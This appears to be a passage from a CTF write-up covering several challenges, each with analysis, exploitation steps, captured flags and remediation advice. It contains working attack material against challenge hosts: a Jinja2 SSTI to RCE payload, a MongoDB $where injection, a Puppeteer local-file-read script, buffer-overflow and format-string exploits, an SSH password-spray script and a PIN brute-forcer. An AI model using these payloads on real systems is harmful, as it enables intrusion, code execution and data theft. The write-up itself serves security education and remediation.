CWE-78 OS command injection | Drop shell=True and pass an argument array: subprocess.run(['apt-cache','search',package]). Validate input against an allow list such as ^[a-z0-9.+-]+$. Deny lists are always bypassable via newline, tab, \r, {}, <> and similar. |
Additional recommendations
- Making
/appowned byroot:rootto denywww-datawrite access was good, but read access alone exposed all source and the flag. Do not keep secrets in plaintext on paths readable by the application process, and do not rely on randomised filenames (flag_1837rywqdhua.txt). - Running both applications in a single container via
entry.shis what turned SSRF directly into access to internal management functionality. Services on different trust boundaries belong in separate containers and networks.
4. [Web] Moth Busters — 500
1. Problem summary
- Provided: server URL
https://wcsc-moth-busters.chals.ioand the source archivepublic.zip(sha25664058260d7065b998b370ae0519b724ca3b690bbb8f52bac08ee4bca326a3b11) - Goal: disprove the claim that the PsiFiveInformationLabs website is indestructible; obtain the flag
WCSC{...} - Constraint: the instance is shared by all participants → no destructive actions, no excessive requests, use a unique account name
2. Analysis
- Stack: Node 20 + Express 4.21 + express-session + better-sqlite3 (
:memory:) + EJS + Puppeteer 23.3 - Flag location (Dockerfile):
COPY flag.txt /flag_ashbdygsq.txt(because ofCOPY . ., the same file also remains at/app/flag.txt)
Dead ends first
adminpassword =crypto.randomBytes(32).toString('hex')→ not guessable or crackable- Session secret =
crypto.randomBytes(64)→ sessions cannot be forged - All queries use prepared statements → no SQL injection
→ The attack surface is /register and the admin-only report generator.
Vulnerability 1 — mass assignment to gain admin (server.js:85-102)
app.post('/register', (req, res) => {
const { username, password } = req.body;
...
db.prepare('INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)')
.run(username, bcrypt.hashSync(password, 10), req.body.is_admin ? 1 : 0);
The registration form (views/register.ejs) has no is_admin field, but the server trusts is_admin from the request body and inserts it directly. Adding is_admin=1 to the registration request creates an administrator account.
Vulnerability 2 — HTML injection in the report generator → local file read via Puppeteer file:// (server.js:114-203)
const html = `… <h1>${title}</h1> …
<div class="content">${content}</div> …`; // no escaping
const tmpFile = path.join(os.tmpdir(), `report-….html`);
fs.writeFileSync(tmpFile, html);
browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox',
'--disable-dev-shm-usage', '--allow-file-access-from-files'] });
const page = await browser.newPage();
await page.goto(`file://${tmpFile}`, { waitUntil: 'load', timeout: 10000 });
await new Promise(r => setTimeout(r, 500));
const pdf = await page.pdf({ format: 'A4', printBackground: true });
Three conditions combine into arbitrary local file read:
titleandcontentare interpolated straight into a template literal → arbitrary HTML/JS injection- That HTML is written to a temporary file and loaded with a
file://origin - The Chrome flag
--allow-file-access-from-fileslets JS on afile://page read other local files as same-origin viaXMLHttpRequest(together with--no-sandbox)
Since the only output is a PDF, the read values need an exfiltration path. Rendering them into the body leaves only glyph IDs (<005F0003…> Tj) because Skia subsets the font as CID, making text extraction hard without a ToUnicode CMap. Chrome, however, writes document.title into the PDF Info dictionary's /Title as a plain literal, so putting the file contents into document.title makes them recoverable with a single strings pass.
3. Steps
- Create an admin account (vulnerability 1):
curl -X POST https://wcsc-moth-busters.chals.io/register \
--data-urlencode 'username=pfil_audit_9f3ac1' \
--data-urlencode 'password=Str0ngPass!9f3ac1' \
--data-urlencode 'is_admin=1'
→ 302 /login
- Log in and confirm the privilege:
curl -c cookies.txt -X POST https://wcsc-moth-busters.chals.io/login \
--data-urlencode 'username=pfil_audit_9f3ac1' --data-urlencode 'password=Str0ngPass!9f3ac1'
→ 302 /admin
Because server.js:77 is res.redirect(user.is_admin ? '/admin' : '/dashboard'), the redirect to /admin is itself proof that is_admin=1.
- Inject a local-file-read payload into the report
content(vulnerability 2):
<script>
var r=[];
['file:///flag_ashbdygsq.txt','file:///app/flag.txt'].forEach(function(p){
try{ var x=new XMLHttpRequest(); x.open('GET',p,false); x.send();
r.push('OK '+p+' = '+String(x.responseText).trim()); }
catch(e){ r.push('ERR '+p+' = '+e.name); }
});
document.title='EXFIL{'+r.join(' ;; ')+'}';
</script>
curl -b cookies.txt -o report.pdf -X POST \
https://wcsc-moth-busters.chals.io/admin/generate-report \
--data-urlencode 'title=audit2' --data-urlencode 'content@payload2.html'
→ HTTP 200, application/pdf, 62387 bytes
The XHR is synchronous, so it completes during parsing and the title is set well within the 500 ms wait before page.pdf().
- Extract the flag from the PDF metadata:
strings -a report.pdf | grep Title
<</Title (EXFIL{OK file:///flag_ashbdygsq.txt = WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL}
;; OK file:///app/flag.txt = WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL}})
4. Result
- Flag:
WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL} - Time obtained: 2026-10-30 13:55 UTC (22:55 KST)
- 4 requests total (4 POSTs). No scanning or brute forcing. The only changes to the shared instance were one added account and two generated reports; no existing data was deleted or modified.
- Evidence:
evidence/wcsc-moth-busters/00-account.txt,01-register.html,02-login.html,03-report.pdf,04-report-text.txt,05-report-title.pdf - Supporting tool:
tools/pdftext.py(a PDF text extractor for environments withoutpdftotext; this challenge's PDF used CID-subset fonts so extraction failed, which is what led to the/Titleroute)
5. Root cause and remediation
Classification
- Vulnerability 1: CWE-915 (improperly controlled modification of dynamically-determined object attributes — mass assignment) → CWE-269 improper privilege management
- Vulnerability 2: CWE-79 / CWE-94 (HTML/script injection via template string interpolation) → arbitrary local file read in the CWE-73 + CWE-22 family (CWE-200 information exposure)
Fixes
/registershould extract only allowed fields explicitly. Never acceptis_adminfrom the request; fix it to 0 server-side:
const { username, password } = req.body; // do not destructure is_admin
... .run(username, hash, 0); // INSERT a constant 0
Privilege changes belong in a separate admin-only endpoint with an audit log.
- Do not build the report HTML by string concatenation. Use an auto-escaping template (EJS
<%= %>) or HTML-escape user input. - Harden the Puppeteer configuration:
- Remove
--allow-file-access-from-files(this feature does not need it at all) - Do not load viafile://; usepage.setContent()orabout:blankplus a local HTTP origin -page.setJavaScriptEnabled(false)— a report PDF does not need JS - Remove--no-sandbox(keep the sandbox) and run as an unprivileged user inside the container - Optionally set a CSP meta tag withscript-src 'none' - Do not place secrets on a filesystem readable by the rendering process. Randomising the filename (
/flag_ashbdygsq.txt) is no defence against arbitrary file read on the same host, andCOPY . .exposed it a second time at/app/flag.txt.
5. [Web] Fruit Shop — 250
1. Problem summary
- Provided: server URL
https://wcsc-fruit-shop.chals.ioand the source archivefruit-shop.zip(sha256c69da760ec66a87ae87c7ecd94421a1143965987ef2b66d5a0ff79590e9a36f5) - Goal: flag
WCSC{...} - The challenge text "I wonder if there's anything hidden for you here" points at retrieving a hidden (non-public) product document
2. Analysis
- Stack (Dockerfile): MongoDB 8.3 running alongside the app inside a
php:8.2-apachecontainer (MONGO_URI=mongodb://127.0.0.1:27017,MONGO_DB=fruitshop, collectionfruitshop.products). - Flag location (seed.php): not a file but a document field.
$flag = getenv('FLAG');
$privateProduct = ['product_name' => $flag, 'price' => 0.00,
'description' => 'Flag', 'is_public' => false];
index.php renders only run_find(['is_public' => true]), so the page shows just the 8 public products.
Vulnerability (search.php) — MongoDB $where server-side JavaScript injection
$searchInput = $_GET['search'] ?? '';
if (is_array($searchInput)) { $searchInput = ''; } // blocks array/operator injection
$term = strtolower((string) $searchInput); // the only transformation: lowercasing
$filter = [
'$where' => "this.product_name == '" . $term . "' && this.is_public == true",
];
User input is concatenated directly inside the quoted portion of the JavaScript source passed to $where. There is no escaping and no character allow list. The only constraint is strtolower(), which merely prevents uppercase characters in the payload — this, true and is_public are all lowercase, so it is not a real obstacle.
The is_array() check also blocks the common NoSQL operator injection (?search[$ne]=), narrowing the path to escaping the quotes inside the $where string.
3. Steps
- Establish the baseline behaviour:
curl -G 'https://wcsc-fruit-shop.chals.io/search.php' --data-urlencode 'search=honeycrisp apple'
→ {"ok":true,"count":0,"results":[]}
Because of strtolower, the comparison becomes this.product_name == 'honeycrisp apple', which can never match the stored value Honeycrisp Apple. In other words the search feature can never find anything (consistent with the "a search box... that's on purpose" comment in index.php). This confirms strtolower is the single transformation applied.
- Close the quote and inject an always-true condition, pushing the
is_publicclause behind||so it has no effect:
search=' || true || '
The resulting $where JS:
this.product_name == '' || true || '' && this.is_public == true
JavaScript operator precedence binds && tighter than ||, so this is (a=='') || true || ('' && b) → always true, and the filter matches every document.
- Request and response:
curl -G 'https://wcsc-fruit-shop.chals.io/search.php' --data-urlencode "search=' || true || '"
→ {"ok":true,"count":9,"results":[
{"product_name":"Honeycrisp Apple","price":2.49},
... (8 public products) ...,
{"product_name":"WCSC{m4nG03z_4nD_M0ngOs}","price":0}
]}
Since the projection includes product_name, the flag document's name field is returned directly.
4. Result
- Flag:
WCSC{m4nG03z_4nD_M0ngOs} - Time obtained: 2026-10-30 13:45 UTC (22:45 KST)
- 2 requests total (2 GETs). The cause was identified from the source and exploited on the first attempt; no brute forcing or scanning.
- Evidence:
evidence/wcsc-fruit-shop/01-search-baseline.json,02-where-injection.json
5. Root cause and remediation
- Classification: CWE-943 / CWE-89 family — NoSQL injection. More precisely, the JavaScript passed to MongoDB's
$whereis built by string concatenation, so it is CWE-94 (code injection). - Fixes
- Do not use
$where. A name search needs only ordinary query operators:
$filter = ['product_name' => new MongoDB\BSON\Regex('^' . preg_quote($term, '/'), 'i'),
'is_public' => true];
Escape input even for regex, and prefer a text index with $text where possible.
- If $where is unavoidable, do not concatenate input into the JS source; otherwise disable server-side scripting with --noscripting.
- Do not put the authorisation condition (is_public) inside the same expression as user input. Placing it as a separate top-level condition makes it impossible to bypass with ||.
- Do not store secrets in the same collection and schema that ordinary user queries reach (use a separate collection with separate read permissions).
6. [Web] Jinja2Ninja — 250
1. Problem summary
- Provided: server URL
https://wcsc-jinja2ninja.chals.io(source not published) - Goal: flag
WCSC{...}
2. Analysis
Observations
GET /response headerServer: Werkzeug/3.1.8 Python/3.12.13→ Flask application (evidence/wcsc-jinja/01-root.headers)- One input point:
POST /createwith fieldstop_textandbottom_text. Both values are emitted intodiv.top-textanddiv.bottom-textin the response HTML (02-create-plain.html) top_text={{7*7}}→49,bottom_text={{"a"+"b"}}→ab→ confirms server-side template rendering (03-ssti-probe.html)
Root cause (from the recovered app.py, 08-app.py.txt)
@app.route('/create', methods=['POST'])
def create():
top_text = request.form.get("top_text")
bottom_text = request.form.get("bottom_text")
...
return render_template_string("""... <div class="meme-text top-text">"""
+ top_text + """</div>
<div class="meme-text bottom-text">""" + bottom_text + """</div> ...""")
User input is concatenated into the template source rather than passed as template data, and then compiled by render_template_string. There is no keyword deny list and no SandboxedEnvironment.
3. Steps
- Survey input points: the form on
/leads to the two fields ofPOST /create, which are the only user-controlled paths. - Detect template rendering:
curl -X POST https://wcsc-jinja2ninja.chals.io/create \
--data-urlencode 'top_text={{7*7}}' --data-urlencode 'bottom_text={{"a"+"b"}}'
→ <div class="meme-text top-text">49</div>
<div class="meme-text bottom-text">ab</div>
- Check what is exposed:
{{config}}→ the whole Flask config (no flag,DEBUG=False);{{self}}→<TemplateReference None>. No sign of filtering (04-config-self.html). - Escape the sandbox → RCE. Obtain the
osmodule through__init__.__globals__of thecyclerglobal that Jinja2 exposes:
--data-urlencode "top_text={{cycler.__init__.__globals__.os.popen('id').read()}}"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Enumerate the filesystem:
pwd→/app;ls -la /app→app.py,Dockerfile,flag.txt(26 bytes) (06-enum.html) - Read the flag:
--data-urlencode "top_text={{cycler.__init__.__globals__.os.popen('cat /app/flag.txt').read()}}"
→ WCSC{7h15_SSTI_15_s0_r4d}
4. Result
- Flag:
WCSC{7h15_SSTI_15_s0_r4d} - Time obtained: 2026-10-30 13:44 UTC (22:44 KST)
- 7 requests total (1 GET / 6 POST)
- Evidence:
evidence/wcsc-jinja/01-root.headersthrough08-app.py.txt
5. Root cause and remediation
- Classification: CWE-1336 (improper neutralisation of special elements used in a template engine — SSTI) → CWE-94 code injection → RCE
- Fixes
- Keep templates as fixed files and pass input only as context variables:
render_template("meme.html", top_text=top_text, ...). Never concatenate input into template source. - If dynamic templates are unavoidable, use
jinja2.sandbox.SandboxedEnvironment(deny lists are bypassable, so treat them as secondary). - Stop using the Werkzeug development server (
app.run) in production → use a WSGI server and an unprivileged user. - Do not keep flags/secrets as plaintext files in the application working directory. This challenge did separate privileges with
USER www-data, butflag.txtat mode0644made that meaningless.
7. [Misc/Network] Plenty of Portals — 250
One-line summary: The exposed DMZ port (0[.]cloud[.]chals[.]io:10650) was cleartext POP3 (Dovecot). Logging in with the provided glados:glados credentials and retrieving the single message (RETR 1) revealed the flag in the body.
1. Problem summary
- Provided: server
0[.]cloud[.]chals[.]ioport 10650, service accountglados:glados(challenges/wcsc-portals/README.md) - Goal: identify the service on the port and find the hidden secret (flag
WCSC{...})
2. Analysis
- Observation: connecting without sending anything yields the banner
+OK Dovecot (Ubuntu) ready.(evidence/wcsc-portals/01_banner_passive.txt) → POP3. CAPAresponse: TOP, UIDL, RESP-CODES, PIPELINING, AUTH-RESP-CODE, USER, SASL PLAIN. NoSTLS→ cleartext transport (evidence/wcsc-portals/02_capa.txt).- After login,
STAT/LISTshow one message (291 octets) (evidence/wcsc-portals/03_login_list.txt). - Root cause: a weak service account (username equals password), cleartext POP3 exposed externally, and a secret (activation key) stored as mail in the mailbox.
3. Steps
- Banner collection (one connection, nothing sent) → Dovecot POP3 (2026-10-30 20:03 per the notes).
CAPA+QUIT→ capability list (2026-10-30 20:03).USER/PASS glados,STAT,LIST(2026-10-30 20:04) → one message.RETR 1(2026-10-30 20:04) → the flag in the body of a message fromcjohnson@aperturescience[.]com.
Reproduction (the original command was not recorded in the notes; this reproduces the same actions):
HOST=0.cloud.chals.io; PORT=10650 # this host is the only target
{ sleep 1; printf 'USER glados\r\n'; sleep 1; printf 'PASS glados\r\n'; sleep 1;
printf 'STAT\r\nLIST\r\nRETR 1\r\nQUIT\r\n'; sleep 1; } | nc "$HOST" "$PORT"
RETR 1 response (evidence/wcsc-portals/04_retr1.txt):
From: cjohnson@aperturescience.com
Subject: IT Doesn't Know Crap
... here's that secret activation key for later - WCSC{W0rk1ng_W_P0rtAl5_Th3_C4k3_W4s_A_l13}.
4. Result
- Flag:
WCSC{W0rk1ng_W_P0rtAl5_Th3_C4k3_W4s_A_l13} - Time obtained: 2026-10-30 13:04 UTC (22:04 KST), per
notes/wcsc-portals.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence:
evidence/wcsc-portals/01_banner_passive.txt,02_capa.txt,03_login_list.txt,04_retr1.txt
5. Root cause and remediation
- Classification: CWE-521 (weak password requirements), CWE-319 (cleartext transmission of sensitive information), CWE-312 (cleartext storage of sensitive information)
- Fixes: give service accounts unique strong passwords; do not expose POP3 in the DMZ, and require POP3S/STLS if it is needed; do not store secrets or keys in mailboxes — use a secret management system.
8. [Misc/Network] The Curious — 500
One-line summary: Spraying a fixed password (Rainey2025!) across 237 candidate usernames found the SSH account ww2016; an SSH direct-tcpip channel to the server's internal 127.0.0.1:80 dashboard then yielded the flag.
1. Problem summary
- Provided: SSH server
0[.]cloud[.]chals[.]ioport 12358, leaked passwordRainey2025!,usernames.txt(237 lines,challenges/wcsc-curious/usernames.txt), and a hint that a web service listens on internal port 80. - Goal: access the server and read the secret (flag) from the internal dashboard.
2. Analysis
- Observation: 12358/tcp is OpenSSH 8.9p1 Ubuntu (
evidence/wcsc-curious/01_banner_passive.txt). - The password was held fixed while only usernames varied (this is not password brute forcing). The 33rd candidate succeeded (
evidence/wcsc-curious/02_ssh_spray.txt). - Internal
127.0.0.1:80is Apache 2.4.52, page title "Dashboard / Internal Notes" (evidence/wcsc-curious/03_internal_root.txt). - Root cause: a leaked password reused across services; SSH password authentication allowed with no attempt limiting; TCP forwarding (
AllowTcpForwarding) permitted, exposing internal services.
3. Steps
- Banner check → SSH (2026-10-30 20:12 per the notes).
- Username spray:
tools/wcsc-curious/find_user.py(paramiko, serial, 0.4 s delay between attempts)
python3 tools/wcsc-curious/find_user.py challenges/wcsc-curious/usernames.txt
Core logic:
HOST, PORT = "0.cloud.chals.io", 12358
PW = "Rainey2025!"
c.connect(HOST, PORT, username=u, password=PW, allow_agent=False, look_for_keys=False, ...)
→ [+] SUCCESS: ww2016
- Reach the internal web service:
tools/wcsc-curious/probe_internal.pyopens adirect-tcpipchannel on the transport after login and sendsGET /
python3 tools/wcsc-curious/probe_internal.py
chan = t.open_channel("direct-tcpip", ("127.0.0.1", 80), ("127.0.0.1", 0))
chan.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n")
The flag appears in the Secret note of the returned HTML (evidence/wcsc-curious/03_internal_root.txt):
<strong>Secret:</strong> WCSC{UR_2_FuR1oU5}
4. Result
- Flag:
WCSC{UR_2_FuR1oU5} - Time obtained: 2026-10-30 13:12 UTC (22:12 KST), per
notes/wcsc-curious.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence:
evidence/wcsc-curious/01_banner_passive.txt,02_ssh_spray.txt,03_internal_root.txt
5. Root cause and remediation
- Classification: CWE-521 (weak/reused password), CWE-307 (improper restriction of excessive authentication attempts), CWE-668 (exposure of resources to the wrong sphere)
- Fixes: allow public-key authentication only (
PasswordAuthentication no); restrict TCP forwarding per account (AllowTcpForwarding no/PermitOpen); rate-limit attempts (e.g. fail2ban); put separate authentication in front of the internal dashboard; retire the leaked password.
9. [Pwn] Bookshelves — 250
One-line summary: place_book() reads 256 bytes into a 64-byte stack buffer; overwriting the return address at offset 72 with a ret gadget followed by restricted_section prints flag.txt (ret2win).
1. Problem summary
- Provided: ELF
bookshelves, sourcebookshelves.c(challenges/wcsc-bookshelves/), server0[.]cloud[.]chals[.]io14466 - Goal: reach the restricted section and read
flag.txt
2. Analysis
- Mitigations (per the notes): no PIE, no canary, NX.
- Vulnerable code (
bookshelves.c):
void place_book(void) {
char shelf[64];
...
read(0, shelf, 256); // 256 bytes into a 64-byte buffer
restricted_section()(0x4011f7) reads and printsflag.txtthen callsexit(0), but is never referenced.- Offset = 64 (buffer) + 8 (saved rbp) = 72. With no canary and no PIE, the return address can be overwritten with a fixed address.
- A
retgadget at 0x401016 is placed first to realign the stack to 16 bytes (formovaps).
3. Steps
- Identify the vulnerability and the win function from the source.
- Payload:
"A"*72 + p64(0x401016) + p64(0x4011f7) tools/wcsc-bookshelves/exploit.py(verified locally against a placeholderflag.txt, then run against the remote):
RESTRICTED = 0x4011f7
RET = 0x401016 # stack-align gadget
payload = b"A"*72 + p64(RET) + p64(RESTRICTED)
p = remote("0.cloud.chals.io", 14466) # local: process("./challenges/wcsc-bookshelves/bookshelves")
p.recvuntil(b"> ")
p.send(payload)
print(p.recvall(timeout=5).decode(errors="replace"))
python3 tools/wcsc-bookshelves/exploit.py --remote # local: run with no arguments
Output (evidence/wcsc-bookshelves/01_remote_exploit.txt):
Special collection unlocked: WCSC{c4n7_f17_0n_7h3_5h3lv35!}
4. Result
- Flag:
WCSC{c4n7_f17_0n_7h3_5h3lv35!} - Time obtained: 2026-10-30 13:13 UTC (22:13 KST), first entry in
notes/FLAGS.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence:
evidence/wcsc-bookshelves/01_remote_exploit.txt
5. Root cause and remediation
- Classification: CWE-121 (stack-based buffer overflow)
- Fixes: bound the read length with
sizeof(shelf); enable stack canaries (-fstack-protector-strong), PIE and Full RELRO; remove unused sensitive functions.
10. [Pwn] Dewey Decimal — 375
One-line summary: The search term is passed to printf(buf) directly, giving a format string vulnerability; leaking the stack secret code with %17$lu and submitting it in the same connection yields flag.txt.
1. Problem summary
- Provided: ELF
dewey_decimal(challenges/wcsc-dewey/), server0[.]cloud[.]chals[.]io16046. Description: "the output format looks odd"; a correct Dewey Decimal verification code is required. - Goal: recover the verification code so
restricted_archive()prints the flag.
2. Analysis
- Mitigations (per the notes): no canary, no PIE, NX.
catalog_system()stores a secret coderand()%0xdbba0+0x186a0(= 100000..999999) at[rbp-0x18].- The search term is read with
fgetsinto[rbp-0x60]and printed withprintf(buf)at 0x4013ab → format string vulnerability. - Afterwards a
scanf("%lu")value is compared to the secret code; on a matchrestricted_archive()printsflag.txt. - The secret code sits at printf argument index 17 (
%17$lu). - Deriving index 17: the
catalog_systemprologue ispush rbp; push rbx; sub rsp,0x68, so at theprintfcallrsp = rbp-0x70. On x86-64 the first stack qword[rsp]is%6$, hence%n$ = [rsp+(n-6)*8]. The secret code at[rbp-0x18]=[rsp+0x58]→0x58/8+6 = 17. Confirmed empirically by sendingAA.%15$lu.%16$lu.%17$lu…locally and observing that only%17$fell in the 100000–999999 range (402266).
3. Steps
- Send
|%17$lu|as the search term; of the echoed values, take the number in the 100000–999999 range as the secret code. - In the same connection, submit that number as the verification code.
p.recvuntil(b"> ")
p.sendline(b"|%17$lu|")
text = p.recvuntil(b"> ", timeout=5).decode(errors="replace")
nums = [int(x) for x in re.findall(r"\|(\d+)\|", text)]
code = next(n for n in nums if 100000 <= n <= 999999)
p.sendline(str(code).encode())
print(p.recvall(timeout=5).decode(errors="replace"))
python3 tools/wcsc-dewey/exploit.py --remote # local: run with no arguments (placeholder flag)
Run log (evidence/wcsc-dewey/01_remote_exploit.txt): leaked longs: [840302], using code 840302, then
Classification verified! Access granted to the restricted archives: WCSC{d3w3y_h45_4_5y573m}
(The code differs per connection, so the leak and the submission must happen within the same connection.)
4. Result
- Flag:
WCSC{d3w3y_h45_4_5y573m} - Time obtained: 2026-10-30 13:20 UTC (22:20 KST), first entry in
notes/FLAGS.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence:
evidence/wcsc-dewey/01_remote_exploit.txt
5. Root cause and remediation
- Classification: CWE-134 (uncontrolled format string), CWE-200 (exposure of sensitive information)
- Fixes: use a fixed format,
printf("%s", buf); build with-Wformat-securityandFORTIFY_SOURCE; do not keep secrets where they are reachable as stack arguments; generate authentication codes with an unpredictable CSPRNG.
11. [Crypto] Overrated — 500
One-line summary: The footer of a PASETO v4.local token pointed at a weak debug-PIN-derived key; using the authentication tag as an oracle, the PIN was brute forced (PIN 7252, key = sha256(PIN)) and the plaintext flag decrypted.
1. Problem summary
- Provided: a PASETO token from a staging server,
challenges/wcsc-overrated/token.txt. No server. - Goal: extract the flag from the token.
2. Analysis
- Observation: base64url-decoding the footer gives
a2lkOmRlYnVnLXBpbi1rZXk→kid:debug-pin-key, implying the key is derived from a weak debug PIN. pysetowas unavailable in the environment, so v4.local decryption was implemented from scratch (tools/wcsc-overrated/paseto_v4.py).- Structure:
payload = nonce(32) || ciphertext || tag(32) Ek||n2 = BLAKE2b-56(key, "paseto-encryption-key"||n),Ak = BLAKE2b-32(key, "paseto-auth-key-for-aead"||n)tag = BLAKE2b-32(key=Ak, PAE(header, n, c, footer, implicit)); encryption is XChaCha20 (HChaCha20 subkey)- The implementation was validated against the official PASETO test vector 4-E-1.
- Root cause: a symmetric key derived from a low-entropy PIN, which turns tag verification into an offline oracle and makes brute forcing possible.
3. Steps
v4_local_decrypt(key, token)decides key correctness by tag match (returns the plaintext on a match,Noneotherwise):
t2 = hashlib.blake2b(pre, key=Ak, digest_size=32).digest()
if t2 != t: return None
return xchacha20(Ek, n2, c)
tools/wcsc-overrated/brute.pytries 6 key-derivation schemes (sha256, blake2b, zero padding, repetition, md5, …) for each PIN from 0 to N:
python3 tools/wcsc-overrated/brute.py 1000000 # argument = PIN upper bound (default 1000000)
Result: PIN 7252, key = sha256("7252") (= 227ff6c6...; only the prefix is recorded in the notes). Plaintext:
{"sub":"guest-user","role":"guest","flag":"WCSC{jwt_overrated}","note":"Only admins can read..."}
4. Result
- Flag:
WCSC{jwt_overrated} - Time obtained: 2026-10-30 13:26 UTC (22:26 KST), first entry in
notes/FLAGS.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence: no separate solver output was saved under
evidence/(not recorded). Reproducible withbrute.pyandchallenges/wcsc-overrated/token.txt.
5. Root cause and remediation
- Classification: CWE-331 (insufficient entropy), CWE-321 / CWE-798 family (use of a predictable key)
- Fixes: use a 256-bit CSPRNG key; never use a low-entropy value such as a PIN as a key (and if unavoidable, run it through a KDF like Argon2 with a long salt); do not put sensitive values (flags/secrets) in
localtokens; do not reveal key provenance hints in the footer/kid.
12. [Blockchain/Crypto] Sell Your Ethereum — 750
One-line summary: An ERC-4626 inflation (donation) attack on InflatableVault steals the victim's deposit through rounding; reproducing the test arithmetic in Python gave the final balance, from which the flag.zip password was derived and the flag decrypted.
1. Problem summary
- Provided: Foundry project
challenges/wcsc-ethereum/sell_your_ethereum.zip(flag.zipis ZipCrypto, CRC1ff5da37). No server. - Goal: place attack code in the test's PLAYER CODE slot so the attacker's balance exceeds the starting value (10000e18), then open
flag.zipwith the password derived from that balance.
2. Analysis
src/InflatableVault.solis an ERC-4626-style vault. Share computation rounds down andtotalAssets()readsasset.balanceOf(address(this))directly.deposit: iftotalShares == 0thenshares = assets, otherwiseshares = assets*totalShares/totalAssetsBefore(floor).- Transferring directly to the vault raises
totalAssetsonly, inflating the share price. - Password (per the
solve.pycomment):keccak256(abi.encodePacked(uint256(token.balanceOf(attacker)))). The exact final balance is required.
3. Steps
Attack code (challenges/wcsc-ethereum/exploit_snippet.sol, at the PLAYER CODE position for forge test -vv):
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1); // 1 wei -> 1 share
token.transfer(address(vault), 50 * 10**18); // donate to inflate the share price
vm.stopPrank();
Effect: totalAssets = 50e18+1, totalShares = 1. When the victim deposits 5000e18, shares = 5000e18*1/(50e18+1) = 99 (loss to rounding). The attacker redeeming 1 share recovers 1*(5050e18+1)/100 = 50.5e18. Final balance = 10000.5e18 - 1 = 10000499999999999999999 wei (> 10000e18).
Since forge was not installed, tools/wcsc-ethereum/solve.py reproduces the test arithmetic (simulate) and validates each candidate final balance's keccak256 password against the ZipCrypto check byte and CRC of flag.zip.
python3 tools/wcsc-ethereum/solve.py flag.zip # path to flag.zip inside/next to sell_your_ethereum.zip
Password: 0x603313b890dd8cdb649ca52b728aad1bfb4deca5737a4decb969dfed34247e8f
Independent verification: unzip -P 0x603313b8...7e8f flag.zip extracted successfully (recorded in the notes; the output file was not saved under evidence/).
4. Result
- Flag:
WCSC{4626_inflation_rounding_success_2026} - Time obtained: 2026-10-30 13:31 UTC (22:31 KST), first entry in
notes/FLAGS.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence: no separate evidence file (not recorded). The basis is
notes/wcsc-ethereum.mdandtools/wcsc-ethereum/solve.py. - Note: there is no record of actually running
forge test(not installed). The attack was validated by the Python reproduction and the ZipCrypto CRC match.
5. Root cause and remediation
- Classification: ERC-4626 inflation / donation attack (CWE-682 incorrect calculation, CWE-840 business logic errors)
- Fixes: use virtual shares/assets offset (OpenZeppelin ERC-4626 decimals offset); mint dead shares on the first deposit; track
totalAssetswith an internal accounting variable instead of readingbalanceOfdirectly; round up on deposit and down on withdrawal, revert whenshares == 0, and enforce a minimum deposit.
13. [OSINT] Luna's Nite Out — 1000
One-line summary: Reverse-geocoding the given coordinate located Konstanz, Germany; the Luna individual in the public Movebank study 1894170572 "Pet cat Germany MPIAB 2022" provided the position at 2021-12-19 06:16:33, rounded to four decimal places.
1. Problem summary
- Provided: text only (no files, no server). "Luna was last seen at (47.68898, 9.140407) on 2021-12-18 09:01:11. Where was she at 2021-12-19 06:16:33?"
- Goal: flag format
WCSC{lat_long}, rounded to four decimal places.
2. Analysis
- Reverse geocoding (photon.komoot.io): a house at Eichbühlstraße 27, Wollmatingen, Konstanz, Germany.
- Konstanz is the home of Movebank (MPI of Animal Behavior / University of Konstanz). MPI-AB runs the "Cat Tracker" citizen-science project (collar GPS + accelerometer loggers) with data stored in Movebank.
- Hypotheses ruled out (per the notes): the public DOI datasets in the Movebank Data Repository contain no German cats; the Spanish 'Luna' (FC042) does not match the coordinates or timestamps; the data is not in GBIF or Zenodo either; the anonymous Movebank API returns 401.
- Supporting tool:
tools/wcsc-luna/find_luna.py(searched 'Luna' in reference data across 17 Germany-related MDR datasets; no results).
3. Steps
- After logging in to Movebank, fetch the full study list (2,082 entries) via
direct-read?entity_type=studyand filter fortaxon_idscontaining Felis withmain_locationnear Konstanz → study 1894170572 "Pet cat Germany MPIAB 2022" (Felis catus, PI Martin Wikelski, CC0, 2021-12-18 to 2022-06-18). (The exact commands used for login and listing were not recorded in the notes.) - The study's first fix is at 2021-12-18 09:00:51, 20 seconds from the challenge's 09:01:11 → confirmed.
- After accepting the CC0 licence, download the CSV through the web UI (
evidence/wcsc-luna/petcat2022.csv, 84,450 rows). Individuals:Luna_AT,Luna_allGPS,Luna_in_out. - Anchor validation: 2021-12-18 09:01:11 → lat 47.68898, long 9.140407 (exactly the value given in the challenge).
- Target fix: 2021-12-19 06:16:33 → lat 47.688288, long 9.14061 (identical in
Luna_in_outandLuna_allGPS). Rounded → 47.6883, 9.1406. - For contrast, nearby fixes (
evidence/wcsc-luna/02_answer.txt) in the 06:10:00–06:10:07 window sit around 47.68934, 9.14086, distinct from the target time.
Reproduction (outline): look up the row for the timestamp in the CSV. The column names were not recorded in the notes, so check the CSV header first.
grep -F "2021-12-19 06:16:33" evidence/wcsc-luna/petcat2022.csv | head
4. Result
- Flag:
WCSC{47.6883_9.1406} - Time obtained: 2026-10-30 14:05 UTC (23:05 KST), first entry in
notes/FLAGS.md— converted from the workstation's local timezone (Asia/Bangkok, UTC+07) - Evidence:
evidence/wcsc-luna/02_answer.txt,evidence/wcsc-luna/petcat2022.csv. Beyond scoring, the anchor match (the 2021-12-18 09:01:11 coordinate) confirms the dataset.
5. Root cause and remediation
- Classification: exposure of location data through public sources (OSINT); in the nature of CWE-359 (exposure of private personal information)
